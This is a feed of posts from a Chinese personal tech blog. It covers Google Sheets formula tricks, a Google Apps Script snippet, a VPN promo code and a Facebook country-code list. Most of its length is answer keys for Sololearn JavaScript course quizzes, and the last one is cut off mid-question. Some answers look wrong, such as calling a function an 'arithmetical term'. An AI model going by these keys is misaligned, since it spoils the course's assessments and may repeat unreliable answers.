匹配空内容的性能消耗。 实例 需要先理解 VLOOKUP 的计算原理。例如从一个列表中要匹配出 pin 对应的中文,那么就需要从头到尾一个一个的去判断是否是一致,如果是一致的,再返回第 2 列的内容,那么匹配 pin 这个单词就需要计算 13 次。 如果是空内容,词组有多长,就需要计算多少次,但是我们已知肯定是查询不到结果的。 在 VLOOKUP 的外层使用 IF 函数进行判断是否是空值,如果是空值,直接返回空值,跳过 VLOOKUP计算,这样只需要计算一次就返回结果了,不用计算一整列再返回结果,可以大幅增加计算的速度。 为你推荐:Google Excel 性能优化教程目录 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - IF 跳过无效内容","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-Bypass-Blank.png","link":"https://dev-coco.github.io/post/Google-Excel-Boost-Bypass-Blank/","stats":{"text":"2 min read","time":70000,"words":336,"minutes":2},"date":"2022-12-26 12:51:17","dateFormat":"2022-12-26"},{"content":"用 IF 函数做一个开关控制函数执行。 适用场景 使用频率不高,只是偶尔使用。 例如需要将 A 列的内容翻译成中文,那么翻译后内容就不再使用了,除非等到下次 A 列的内容有变更才需要再次翻译。 优化思路 每次打开工表格的时候就会执行函数,但是按照需求来看,A 列的内容没有变更是不需要再执行函数翻译了,这样会造成没必要的性能浪费。 使用下拉菜单做一个开关,用 IF 函数判断下拉菜单是否开启,若开启再执行函数,关闭就不再执行函数。这样仅在必要的时候手动让函数计算,在不使用的时候就可以节约性能的消耗。 实例 在任意单元格建立一个下拉菜单,作为开关。 设置开启和关闭。 在函数的外层使用 IF 函数引用下拉菜单的内容进行判断。 当 B1 的下拉菜单处于关闭时,翻译的函数就不会执行。仅在需要使用的时候,将下拉菜单选择开启才会执行。 为你推荐:Google Excel 性能优化教程目录 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 性能优化 - IF 管理函数执行","feature":"https://dev-coco.github.io/post-images/Google-Excel-Boost-IF-Manage.png","link":"https://dev-coco.github.io/post/Google-Excel-Boost-IF-Manage/","stats":{"text":"2 min read","time":66000,"words":326,"minutes":2},"date":"2022-12-24 06:02:02","dateFormat":"2022-12-24"},{"content":"一行公式快速生成 26 个字母。 有时候会需要用到 26 个英文字母,如果用键盘一个一个地敲 A, B, C, D… 的话就太花时间了,下面有两个方法快速生成 26 个字母。 方法1 =ARRAYFORMULA(REGEXEXTRACT(ADDRESS(1, ROW(A1:A26), 2), "^.")) 原理分析 使用 ROW 函数获取开头 26 行,因为一共有 26 个英文字母。现在还没有使用数组,所以目前只会输出 1 个。 再使用 ADDRESS 函数,将刚才 ROW 函数计算的结果放到列参数里,因为列是按照字母排序的,引用模式选择相对应用列,为了方便接下来的筛选,绝对引用。使用 ARRAYFORMULA 数组函数输出看一下效果。 现在已经获取了 26 个引用的位置,也包含了 26 个字母,使用 REGEXEXTRACT 函数用正则表达式语法 ^. 获取开头的第一个字符,并且用数组输出,这样就获取了 26 个大写字母。 如果要生成 26 个小写字母,在 REGEXEXTRACT 函数的外面使用 LOWER 函数。 =ARRAYFORMULA(LOWER(REGEXEXTRACT(ADDRESS(1, ROW(A1:A26), 2), "^."))) 方法2 =ARRAYFORMULA(CHAR(ROW(A65:A90))) 原理分析 使用 ROW 函数获取 A65 到 A90 的行数,也就就是从 65 到 90。现在还没有使用数组,所有目前只会输出 1 个。 因为 A 对应的十进制 Unicode 编码是 65,那么使用 CHAR 函数将计算出来的行数转换成字符,最后再用数组输出。 如果要生成 26 个小写字母,可以使用下面的公式: =ARRAYFORMULA(CHAR(ROW(A97:A122))) 因为从 97 到 122 的十进制 Unicode 编码对应的是 26 个小写字母。 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 快速生成 26 个字母","feature":"https://dev-coco.github.io/post-images/Google-Excel-Create-Letter.png","link":"https://dev-coco.github.io/post/Google-Excel-Create-Letter/","stats":{"text":"2 min read","time":99000,"words":435,"minutes":2},"date":"2022-12-12 07:34:01","dateFormat":"2022-12-12"},{"content":"抖音视频无水印高清下载。 工具链接:抖音视频下载 放入抖音视频的链接,点击开始运行,然后会解析出视频的详情信息,在下方点击按钮就可以下载视频或者音频了,视频是无水印高清的。 ","tags":[],"title":"抖音视频下载","feature":"","link":"https://dev-coco.github.io/post/TikTok-Video-Download/","stats":{"text":"1 min read","time":15000,"words":77,"minutes":1},"date":"2022-12-06 01:12:40","dateFormat":"2022-12-06"},{"content":"🎄 圣诞帽头像一键生成,各种款式都有!请为你的头像戴上圣诞帽吧! 工具链接:头像加圣诞帽 点击上传头像,选择一个图片,但并不会将图片上传到服务器,完全在本地运行。 然后就可以挑选喜欢的圣诞帽款式,为头像加上圣诞帽了。 设置好后点击生成头像,然后再对着图片点击右键就可以将头像保存到本地了。 相关推荐:头像加口罩 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"头像加圣诞帽","feature":"","link":"https://dev-coco.github.io/post/Profile-Santa-Hat/","stats":{"text":"1 min read","time":27000,"words":135,"minutes":1},"date":"2022-12-04 05:25:45","dateFormat":"2022-12-04"},{"content":"Windscribe 是加拿大的一家 VPN 服务供应商。 打开 Windscribe 官网。 注册一个账号。 进入账号界面:https://windscribe.com/myaccount 输入激活码: KOOBIDEH 然后就可以免费领到 30GB 流量了。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"Windscribe VPN 免费 30GB 流量激活码","feature":"","link":"https://dev-coco.github.io/post/Windscribe-VPN-Free-License/","stats":{"text":"1 min read","time":12000,"words":54,"minutes":1},"date":"2022-11-28 09:49:39","dateFormat":"2022-11-28"},{"content":"制作一个动态单元格目录,快速找到对应菜单。 在遇到一个特别宽表格的时候,横向找内容就会比较费劲,这个时候就需要使用指向单元格的链接功能建立一个超链接,点击链接就可以跳转到对应的标题。 但是这样的方法存在一个问题,当表格增加新的列的时候,之前引用的范围就会发生偏移,就会导致对应不上。 解决方法 使用以下函数即可实现动态指向单元格目录。 =ARRAYFORMULA(HYPERLINK("#gid=id&range="&ADDRESS(1, MATCH(TRANSPOSE(FILTER(B1:1, B1:1 <> "")), 1:1, 0), 4), TRANSPOSE(FILTER(B1:1, B1:1 <> "")))) 先来分析一下指向单元格的原理。 超链接的格式:#gid=XXXX&range=B1,中间的 gid 是当前表格的 id,range 对应的参数是指向单元格的位置。那么就可以使用 HYPERLINK 函数创建一个超文本链接,但是目前还需要获取到菜单的名称和菜单对应的单元格位置。 获取菜单名字 使用 FILTER 函数获取菜单的内容,FILTER(B1:1, B1:1 <> "") 并且去掉空的单元格,这样会比较严谨,如果是多个单元格合并的菜单也可以兼容。 不过我们需要的是纵向的菜单,使用 TRANSPOSE 将内容进行转置。 获取单元格位置 在获取菜单名字的基础上,再使用 MATCH 函数查询每个菜单出现的位置,并且使用数组输出查看效果。 在此基础上添加 ADDRESS 参数,行数设置第一行,列数放入刚才的参数,引用模式要选择相对引用行和列,因为指向单元格功能不支持绝对引用。 超文本链接输出 最后再使用 HYPERLINK 函数放入菜单名字和单元格位置一起输出。因为指向单元格链接的格式中的 gid 无法通过原生函数获取到,所以需要手动设置,并且和获取到菜单的单元格位置拼接在一起。 HYPERLINK("#gid=1147213490&range="&ADDRESS(1, MATCH(TRANSPOSE(FILTER(B1:1, B1:1 <> "")), 1:1, 0), 4), TRANSPOSE(FILTER(B1:1, B1:1 <> ""))) 最后再使用 ARRAYFORMULA 函数输出就可以实现动态指向单元格目录了,即使菜单使用合并单元格也不会影响。 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 动态指向单元格目录","feature":"https://dev-coco.github.io/post-images/Google-Excel-Dynamic-Direction-Cell.jpg","link":"https://dev-coco.github.io/post/Google-Excel-Dynamic-Direction-Cell/","stats":{"text":"3 min read","time":143000,"words":631,"minutes":3},"date":"2022-11-23 06:10:54","dateFormat":"2022-11-23"},{"content":"Facebook 可识别的国家列表。 地区 代码 阿尔巴尼亚 AL 阿尔及利亚 DZ 阿富汗 AF 阿根廷 AR 阿联酋 AE 阿鲁巴 AW 阿曼 OM 阿塞拜疆 AZ 埃及 EG 埃塞俄比亚 ET 爱尔兰 IE 爱沙尼亚 EE 安道尔 AD 安哥拉 AO 安圭拉 AI 安提瓜岛 AG 奥地利 AT 奥兰群岛 AX 澳大利亚 AU 澳门 MO 巴巴多斯岛 BB 巴布亚新几内亚 PG 巴哈马 BS 巴基斯坦 PK 巴拉圭 PY 巴勒斯坦 PS 巴林 BH 巴拿马 PA 巴西 BR 白俄罗斯 BY 百慕大 BM 保加利亚 BG 北马里亚纳群岛 MP 贝宁 BJ 比利时 BE 冰岛 IS 波多黎各 PR 波兰 PL 波斯尼亚和黑塞哥维那 BA 玻利维亚 BO 伯利兹 BZ 博茨瓦纳 BW 博内尔,圣尤斯特歇斯和沙巴 BQ 不丹 BT 布基纳法索 BF 布隆迪 BI 布韦岛 BV 朝鲜 KP 赤道几内亚 GQ 丹麦 DK 德国 DE 东帝汶 TL 多哥 TG 多米尼加共和国 DO 多米尼克 DM 俄罗斯 RU 厄瓜多尔 EC 厄立特里亚 ER 法国 FR 法罗群岛 FO 法属玻利尼西亚 PF 法属圭亚那 GF 法属南部领地 TF 法属圣马丁 MF 梵蒂冈城 VA 菲律宾 PH 斐济 FJ 芬兰 FI 佛得角 CV 福克兰群岛 FK 冈比亚 GM 刚果共和国 CG 刚果民主共和国 CD 哥伦比亚 CO 哥斯达黎加 CR 格林纳达 GD 格陵兰 GL 格鲁吉亚 GE 根西岛 GG 古巴 CU 瓜德罗普岛 GP 关岛 GU 圭亚那 GY 哈萨克斯坦 KZ 海地 HT 韩国 KR 荷兰 NL 荷属安的列斯群岛 AN 荷属圣马丁 SX 赫德岛和麦克唐纳群岛 HM 黑山共和国 ME 洪都拉斯 HN 基里巴斯 KI 吉布提 DJ 吉尔吉斯斯坦 KG 几内亚 GN 几内亚比绍共和国 GW 加拿大 CA 加纳 GH 加蓬 GA 柬埔寨 KH 捷克 CZ 津巴布韦 ZW 喀麦隆 CM 卡塔尔 QA 开曼群岛 KY 科科斯(基林)群岛 CC 科摩罗 KM 科索沃 XK 科特迪瓦 CI 科威特 KW 克罗地亚 HR 肯尼亚 KE 库克群岛 CK 库拉索 CW 拉脱维亚 LV 莱索托 LS 老挝 LA 黎巴嫩 LB 立陶宛 LT 利比里亚 LR 利比亞 LY 列支敦士登 LI 留尼汪 RE 卢森堡 LU 卢旺达 RW 罗马尼亚 RO 马达加斯加 MG 马恩岛 IM 马尔代夫 MV 马耳他 MT 马拉维 MW 马来西亚 MY 马里 ML 马其顿 MK 马绍尔群岛 MH 马提尼克岛 MQ 马约特 YT 毛里求斯 MU 毛里塔尼亚 MR 美国 US 美国本土外小岛屿 UM 美属萨摩亚 AS 美属维尔京群岛 VI 蒙古 MN 蒙塞拉特岛 MS 孟加拉国 BD 秘鲁 PE 密克罗尼西亚联邦 FM 缅甸 MM 摩尔多瓦 MD 摩洛哥 MA 摩纳哥 MC 莫桑比克 MZ 墨西哥 MX 纳米比亚 NA 南非 ZA 南极洲 AQ 南乔治亚岛和南桑威奇群岛 GS 南苏丹 SS 瑙鲁 NR 尼加拉瓜 NI 尼泊尔 NP 尼日尔 NE 尼日利亚 NG 纽埃 NU 挪威 NO 诺福克岛 NF 帕劳 PW 皮特凯恩 PN 葡萄牙 PT 日本 JP 瑞典 SE 瑞士 CH 萨尔瓦多 SV 萨摩亚 WS 塞尔维亚 RS 塞拉利昂 SL 塞内加尔 SN 塞浦路斯 CY 塞舌尔 SC 沙特阿拉伯 SA 圣巴泰勒米 BL 圣诞岛 CX 圣多美和普林西比 ST 圣赫勒拿 SH 圣基茨和尼维斯 KN 圣卢西亚 LC 圣马力诺 SM 圣皮埃尔和密克隆 PM 圣文森特和格林纳丁斯 VC 斯里兰卡 LK 斯洛伐克 SK 斯洛文尼亚 SI 斯瓦尔巴群岛和扬马延岛 SJ 斯威士兰 SZ 苏丹 SD 苏里南 SR 所罗门群岛 SB 索马里 SO 塔吉克斯坦 TJ 台湾 TW 泰国 TH 坦桑尼亚 TZ 汤加 TO 特克斯和凯科斯群岛 TC 特立尼达和多巴哥 TT 突尼斯 TN 图瓦卢 TV 土耳其 TR 土库曼斯坦 TM 托克劳 TK 瓦利斯和富图纳群岛 WF 瓦努阿图 VU 危地马拉 GT 委内瑞拉 VE 文莱 BN 乌干达 UG 乌克兰 UA 乌拉圭 UY 乌兹别克斯坦 UZ 西班牙 ES 西撒哈拉 EH 希腊 GR 香港 HK 新加坡 SG 新喀里多尼亚 NC 新西兰 NZ 匈牙利 HU 叙利亚 SY 牙买加 JM 亚美尼亚 AM 也门 YE 伊拉克 IQ 伊朗 IR 以色列 IL 意大利 IT 印度 IN 印度尼西亚 ID 英国 GB 英属维尔京群岛 VG 英属印度洋领地 IO 约旦 JO 越南 VN 赞比亚 ZM 泽西岛 JE 乍得 TD 直布罗陀 GI 智利 CL 中非共和国 CF 中国 CN ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook 国家列表","feature":"","link":"https://dev-coco.github.io/post/Facebook-Country-List/","stats":{"text":"5 min read","time":289000,"words":1229,"minutes":5},"date":"2022-11-16 09:59:39","dateFormat":"2022-11-16"},{"content":"自动化操作,减少机械性操作。 有时候需要每天在工作表加一行/列,并且设置当天日期,如果使用 Google 脚本来实现这个功能完全可以达到全自动化。 先获取当前的电子表格。 const sheet = SpreadsheetApp.getActiveSheet() 然后在指定的位置加行/列。 // 添加行 sheet.insertRows(2) // 添加列 sheet.insertColumns(2) 最后获取指定的单元格,使用 setValue 写入当天日期。 sheet.getRange('A2').setValue(new Date()) 写入的日期会根据工作表的单元格格式而变化。 最后再设置一个触发器,每天定时运行就可以实现自动化在工作表加行/列。 完整代码如下: function myFunction () { const sheet = SpreadsheetApp.getActiveSheet() // 添加行 sheet.insertRows(2) // 添加列 sheet.insertColumns(2) sheet.getRange('A2').setValue(new Date()) } ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"自动加行/列并设置日期","feature":"https://dev-coco.github.io/post-images/Google-Script-Add-Row-Column.jpg","link":"https://dev-coco.github.io/post/Google-Script-Add-Row-Column/","stats":{"text":"1 min read","time":46000,"words":202,"minutes":1},"date":"2022-11-04 13:17:38","dateFormat":"2022-11-04"},{"content":"偏向于基础的循序渐进的教学内容。 .ytb { background-image: url('https://www.youtube.com/s/desktop/23aac7a2/img/favicon_32x32.png'); width: 28px; height: 28px; float: left; background-repeat: no-repeat; background-position: center; background-size: cover } 初衷 在早期研究 Google 脚本的时候,发现很多的教程都是外语的,中文的教程少之又少,而且很多教程只是针对某一个功能进行讲解,没有找到一套循序渐进的教程。所以我会将这段时间学习 Google 脚本的笔记整理成比较偏向基础的内容,方便入门。不过要想真正使用 Google 脚本来实现预期的一些功能,建议还是需要学习一些 Javascript 编码知识。 声明:本博客的 Google 脚本系列教程纯属技术随笔,不具有权威性,仅代表个人观点。 需要提前了解的基础知识 Javascript 数据类型 变量 Object 数组、二维数组 循环 函数 Fetch 网络请求 Google Excel 基础知识 表格基本操作 理解单元格范围、行和列 其它 基本的理解能力 HTML 标签 目录 序号 视频 目录 0 界面介绍 1 读取电子表格 2 读取工作表 3 工作表相关 4 操作表格 5 Logger 调试 6 获取范围 7 获取行和列数 8 读写内容 9 菜单 10 创建 Web 页面 11 操作行和列 12 客户端和服务端通信 13 制作 API 接口 14 触发器 更多内容和案例请参考:Google 脚本标签 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本基础教程目录","feature":"https://dev-coco.github.io/post-images/Google-Script-Tutorial.jpg","link":"https://dev-coco.github.io/post/Google-Script-Tutorial/","stats":{"text":"2 min read","time":88000,"words":388,"minutes":2},"date":"2022-10-23 07:41:52","dateFormat":"2022-10-23"},{"content":"Sololearn JavaScript course ECMAScript 6 answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn JavaScript course. Sololearn JavaScript course Overview answers Sololearn JavaScript course Basic Concepts answers Sololearn JavaScript course Conditionals and Loops answers Sololearn JavaScript course Functions answers Sololearn JavaScript course Objects answers Sololearn JavaScript course Core Objects answers Sololearn JavaScript course DOM & Events answers 55.1 Lesson Intro to ES6 Question: ECMAScript 6 JavaScript and ES6 are different technologies for different purposes. Answer: False 56.1 Lesson ES6 Variables and Strings Question: var & let What is the output of this code? function letItBe() { let v = 2; if (true) { let v = 4; console.log(v); } console.log(v); } letItBe(); Answer: 4 2 Question: const Fill in the blanks to make a constant named total and the variable i that is only accessible inside the loop. Answer: const total = 100; let sum = 0; for(let i = 0; i < total; i++) { sum += i; } Question: Template Literals in ES6 Fill in the blanks to output "We are learning ES6!". Answer: let n = 6; let s = 'ES'; let msg = `We are learning ${s + n}!`; console.log(msg); 57.1 Lesson Loops and Functions in ES6 Question: Loops in ECMAScript 6 Fill in the blanks to iterate through all the characters using the for...of loop. Answer: for (let ch of "SoloLearn") { console.log(ch); } Question: Functions in ECMAScript 6 Fill in the blanks to declare an arrow function that takes an array and prints the odd elements. Answer: const printOdds = (arr) => { arr.forEach(el => { if (el % 2 != 0) console.log(el); }); } Question: Default Parameters in ES6 What is the output of this code? function magic(a, b = 40) { return a + b; } console.log(magic(2)); Answer: 42 58.1 Lesson ES6 Objects Question: ES6 Objects Fill in the blanks to make this code run and print 60. Answer: let car = { speed: 40, accelerate() { this.speed += 10; } }; car.accelerate(); car.accelerate(); console.log(car.speed); Question: Computed Property Names Fill in the blanks to create an object with its properties. Answer: let prop = 'foo'; let o = { [prop]: 'lol', ['b' + 'ar']: '123' }; Question: Object.assign() in ES6 What is the output of this code? const obj1 = { a: 0, b: 2, c: 4 }; const obj2 = Object.assign({c: 5, d: 6}, obj1); console.log(obj2.c, obj2.d); Answer: 46 59.1 Lesson ES6 Destructuring Question: Array Destructuring in ES6 What is the output of the following code? let names = ['John', 'Fred', 'Ann']; let [Ann, Fred, John] = names; console.log(John); Answer: Ann Question: Object Destructuring in ES6 What is the output of the following code? const obj = {one: 1, two: 2}; let {one:first, two:second} = obj; console.log(one); Answer: Error 60.1 Lesson Rest & Spread Question: ES6 Rest Parameters What is the output of the following code? function magic(...nums) { let sum = 0; nums.filter(n => n % 2 == 0).map(el => sum+= el); return sum; } console.log(magic(1, 2, 3, 4, 5, 6)); Answer: 12 Question: The Spread Operator What is the output of the following code? let nums = [3, 4, 5]; let all = [1, 2, ...nums, 6]; console.log(all[3]); Answer: 4 61.1 Lesson ES6 Classes Question: Classes in ES6 Fill in the blanks to declare a class Point with a constructor initializing its x and y members. Answer: class Point { constructor(a, b) { this.x = a; this.y = b; } getX() { return this.x; } getY() { return this.y; } } Question: Class Methods in ES6 Fill in the blanks to output "Rex barks." Answer: class Dog { constructor(name) { this.name = name; } bark() { console.log(this.name + ' barks.'); } } let d = new Dog('Rex'); d.bark(); Question: Inheritance in ES6 Fill in the blanks to declare a class Student which inherits from the Human class. Answer: class Human { constructor(name) { this.name = name; } } class Student extends Human { constructor(name, age) { super(name); this.age = age; } } 62.1 Lesson ES6 Map & Set Question: ES6 Map What is the output of this code? Answer: 1 Question: ES6 Set Fill in the blanks to create and output a set with the values 1, 2, 3. Answer: const set = new Set(); set.add(1).add(2).add(3); for(let v of set.values()) console.log(v); 63.1 Lesson More on ES6 Question: ES6 Promises Fill in the blanks to define a function that returns a Promise object. Answer: function foo() { return new Promise((resolve, reject) => { let result = getSomeResult(); if (result) resolve('Success'); else reject('Something went wrong'); }); } Question: Iterators & Generators You can exit and re-enter generator functions, and their variable bindings will be saved across re-entrances. Answer: True Question: Modules Fill in the blanks to import the following from "util/calc.js": export const hit = (x, y, z) => { return x * y + z / 2; } export const degree = 50; Answer: import * as calc from "util/calc"; calc.hit(1, 2, calc.degree); Question: Built-in Methods What is the output of this code? const arr = ['3', '5', '8']; console.log( arr.find(x => x == 8).repeat(2) ); Answer: 88 64.1 Lesson Module 8 Quiz Question: Which of the following is not one of the new ES6 features? Answer: Hoisting Question: Fill in the blanks to declare a constant num and an arrow function calc. Answer: const num = 5; const calc = (x, y, z = num) => { return x + y + z; } Question: Fill in blanks to make the variable arr3 look like the following: [1, 2, 3, 4, 5, 6, 7, 8]. Answer: const arr1 = [1, 2, 3]; const arr2 = [5, 6, 7, 8]; let arr3 = [...arr1, 4, ...arr2]; Question: What is the output of the following code? const arr1 = [1, 2, 3, 4, 5]; const arr2 = [...arr1, 6]; const func = (...rest) => { console.log(rest.length); } func(...arr1); func(...arr2); Answer: 5 6 Question: What is the output of this code? const square = num => num * num; console.log(square(6) + 6); Answer: 42 Question: Fill in the blanks to copy the user object to the newUser object by destructuring the name and age properties. Pass the value 9999 for the id property. Answer: const user = { name: 'David', age: 28, id: 1234 }; let newUser = Object.assign({}, { name, age } = user, { id: 9999 }); console.log(newUser); Question: Fill in the blanks to get the following output: zero = 0 one = 1 Answer: let myMap = new Map(); myMap.set('zero', 0); myMap.set('one', 1); for (let [key, value] of myMap) { console.log(`${key} = ${value}`); } ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn JavaScript course ECMAScript 6 answers","feature":"https://dev-coco.github.io/post-images/Sololearn-Javascript-Course.jpg","link":"https://dev-coco.github.io/post/Sololearn-Javascript-Course-ECMAScript6-Answers/","stats":{"text":"7 min read","time":414000,"words":1106,"minutes":7},"date":"2022-10-19 23:00:15","dateFormat":"2022-10-19"},{"content":"Sololearn JavaScript course DOM & Events answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn JavaScript course. Sololearn JavaScript course Overview answers Sololearn JavaScript course Basic Concepts answers Sololearn JavaScript course Conditionals and Loops answers Sololearn JavaScript course Functions answers Sololearn JavaScript course Objects answers Sololearn JavaScript course Core Objects answers Sololearn JavaScript course ECMAScript 6 answers 45.1 Lesson What is DOM? Question: The DOM What is DOM? Answer: Document Object Model Question: DOM Tree In the following HTML, which element is the parent of h1? <body> <p> <h1>Hi</h1> </p> </body> Answer: p Question: The document Object Select all that apply: Answer: The document object is the root of the DOM innerHTML is a property 46.1 Lesson Selecting Elements Question: Selecting Elements Fill in the blanks to select the element with id="text" and change its content to "Hi". Answer: var ob = document.getElementById("text"); ob.innerHTML = "Hi"; Question: Selecting Elements Fill in the blanks to select all div elements and alert the content of the third div. Answer: var arr = document.getElementsByTagName("div"); alert(arr[2].innerHTML); Question: Working with DOM Can a node in the DOM have multiple parent nodes? Answer: No 47.1 Lesson Changing Elements Question: Changing Attributes Fill in the blanks to select all images of the page and change their src attribute. Answer: var arr = document. getElementsByTagName("img"); for(var x=0; x < arr.length; x++) { arr[x].src = "demo.jpg"; } Question: Changing Style Fill in the blanks to change the background color of all span elements of the page. Answer: var s = document.getElementsByTagName("span"); for (var x = 0; x < s.length; x++) { s[x].style.backgroundColor = "#33EA73"; } 48.1 Lesson Adding & Removing Elements Question: Creating Elements Drag and drop from the options below to add a new <li> element to the unordered list with id="list". Answer: var el = document.createElement("li"); var txt = document.createTextNode("B"); el.appendChild(txt); var ul = document.getElementById("list"); ul.appendChild(el); Question: Removing Elements Drag and drop from the options below to remove the node element from the page (par is node's parent). Answer: var par = document.getElementById("par"); var node = document.getElementById("node"); par.removeChild(node); Question: Replacing Elements Which method is used to replace nodes? Answer: replaceChild 49.1 Lesson Creating Animations Question: Animations To create an animation relative to a container, the position attribute for the container should be set to: Answer: relative Question: Animations What is the interval for this timer? var t = setInterval(func, 10000); Answer: 10 seconds Question: Animations Which function is used to stop a setInterval timer? Answer: clearInterval 50.1 Lesson Handling Events Question: Events The type of function that executes when an event occurs is called: Answer: event handler Question: Handling Events Fill in the blanks to call func() when the button is clicked. Answer: <button onclick="func()"> Click Here </button> Question: Events Drag and drop from the options below to call the clear() function after body is loaded. Answer: <body onload="clear()"> </body> Question: Event Listeners Can multiple event handlers be added to a single element? Answer: Yes 51.1 Lesson Event Propagation Question: Event Propagation A paragraph is inside a div element. You want the paragraph’s click event to be handled first. You should use: Answer: Bubbling Question: Capturing vs. Bubbling Drag and drop from the options below to handle the click event and use capturing propagation. Answer: x.addEventListener("click", func, true); 52.1 Lesson Creating an Image Slider Question: Image Slider Fill in the blanks to define an array. Answer: var arr = ['A', 'B', 'C']; Question: Image Slider What will be the content of the paragraph after the user clicks on it twice? <p id='txt' onclick='test();'>20</p> <script> function test() { var x=document.getElementById('txt'); var n = x.innerHTML; x.innerHTML = n/2; } </script> Answer: 5 53.1 Lesson Form Validation Question: Form Validation The form will submit to its action if onsubmit returns: Answer: true 54.1 Lesson Module 7 Quiz Question: Fill in the blanks to change the content of all paragraph tags of the page to "SoloLearn". Answer: var arr = document.getElementsByTagName("p"); for(var x=0; x < arr.length; x++){ arr[x].innerHTML="SoloLearn"; } Question: What is the output of this code? <div id="test"> <p>some text</p> </div> <script> var el=document.getElementById("test"); alert(el.hasChildNodes()); </script> Answer: true Question: Drag and drop from the options below to change the color of the paragraph with id="p2" to red. Answer: <script> var d = document.getElementById("p2"); d.style.color="red"; </script> Question: Can you handle multiple events on the same HTML element? Answer: Yes Question: Fill in the blanks to alert a message when the button is clicked. Answer: <button onclick="msg()">Click me</button> <script> function msg() { alert("Hi!"); } </script> Question: Display an alert when the mouse pointer is over the div tag: Answer: <div onmouseover="alert('Hi!');"> put the mouse pointer over me </div> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn JavaScript course DOM & Events answers","feature":"https://dev-coco.github.io/post-images/Sololearn-Javascript-Course.jpg","link":"https://dev-coco.github.io/post/Sololearn-Javascript-Course-DOM-and-Events-Answers/","stats":{"text":"7 min read","time":362000,"words":967,"minutes":7},"date":"2022-10-18 21:54:20","dateFormat":"2022-10-18"},{"content":"Sololearn JavaScript course Core Objects answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn JavaScript course. Sololearn JavaScript course Overview answers Sololearn JavaScript course Basic Concepts answers Sololearn JavaScript course Conditionals and Loops answers Sololearn JavaScript course Functions answers Sololearn JavaScript course Objects answers Sololearn JavaScript course DOM & Events answers Sololearn JavaScript course ECMAScript 6 answers 37.1 Lesson Arrays Question: JavaScript Arrays What two keywords do we need to create an array? Answer: new Array Question: Accessing an Array What is the output of this code? var arr = new Array(3, 6, 8); document.write(arr[1]); Answer: 6 Question: Accessing an Array What is the result of trying to reference an array member which does not exist? Answer: undefined 38.1 Lesson Other Ways to Create Arrays Question: Creating Arrays Please insert the missing characters to output the third member of the array: Answer: document.write(example[2]); Question: Creating Arrays By entering var example = new Array(); we create an empty array which can be filled... Answer: anytime later 39.1 Lesson Array Properties & Methods Question: The length Property Array has the "length" property, because it is: Answer: an object Question: Combining Arrays The "concat" method takes two arrays and: Answer: combines them in one new array 40.1 Lesson Associative Arrays Question: Associative Arrays In associative arrays, index numbers are replaced with: Answer: strings Question: Associative Arrays In order to use associative arrays, the "associated" name is put in: Answer: brackets [ ] 41.1 Lesson The Math Object Question: The Math Object In the Math Object, which of the following constants does NOT exist? Answer: Math.ABC Question: Math Object Methods In the Math Object, which of the following methods is used to calculate the square root? Answer: sqrt Question: The Math Object What is the result of the following expression: Math.sqrt(81); Answer: 9 42.1 Lesson The Date Object Question: setInterval Fill in the blanks to call the function "calc()" every 2 seconds: Answer: setInterval(calc, 2000); Question: The Date Object What information results from creating a Date Object? Answer: The current date and time Question: Date Methods Fill in the blanks to initialize a date object representing the current date and time: Answer: var date = new Date(); 43.1 Lesson Module 6 Quiz Question: Given the array below, please complete the expression to be alerted with "apple". Answer: var fruits = new Array("pear", "orange", "apple", "grapefruit"); alert(fruits[2]); Question: What is the result of the following expression? alert(Math.sqrt(36)); Answer: 6 Question: Please fill in the blanks to output the current minutes: Answer: var date = new Date(); alert(date.getMinutes()); Question: What is the output of this code? var arr = new Array("a", "b", "c"); alert(arr[1]); Answer: b Question: Drag and drop from the options below to get alerted with the value of the PI constant. Answer: alert(Math.PI); ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn JavaScript course Core Objects answers","feature":"https://dev-coco.github.io/post-images/Sololearn-Javascript-Course.jpg","link":"https://dev-coco.github.io/post/Sololearn-Javascript-Course-Core-Objects-Answers/","stats":{"text":"4 min read","time":196000,"words":524,"minutes":4},"date":"2022-10-16 06:31:35","dateFormat":"2022-10-16"},{"content":"Sololearn JavaScript course Functions answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn JavaScript course. Sololearn JavaScript course Overview answers Sololearn JavaScript course Basic Concepts answers Sololearn JavaScript course Conditionals and Loops answers Sololearn JavaScript course Objects answers Sololearn JavaScript course Core Objects answers Sololearn JavaScript course DOM & Events answers Sololearn JavaScript course ECMAScript 6 answers 24.1 Lesson User-Defined Functions Question: JavaScript Functions What is a function? Answer: Arithmetical term Question: Defining a Function Add the corresponding keyword and symbols to create a function named "test". Answer: function test() { /* some code */ } Question: Calling a Function Fill in the blanks to define and call the "hello" function. Answer: function hello() { alert("Hi there"); } hello(); Question: Calling Functions How many times can the function be executed inside a web page? Answer: As many as needed 25.1 Lesson Function Parameters Question: Function Parameters What do you need to do to create a parameter? Answer: Write a variable name in the 